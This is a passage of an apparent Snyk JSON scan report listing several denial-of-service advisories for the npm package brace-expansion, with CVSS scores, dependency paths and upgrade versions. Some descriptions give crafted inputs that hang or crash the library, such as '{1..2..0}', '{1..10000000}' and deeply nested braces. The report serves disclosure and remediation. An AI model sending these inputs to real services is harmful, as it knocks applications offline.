"GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": 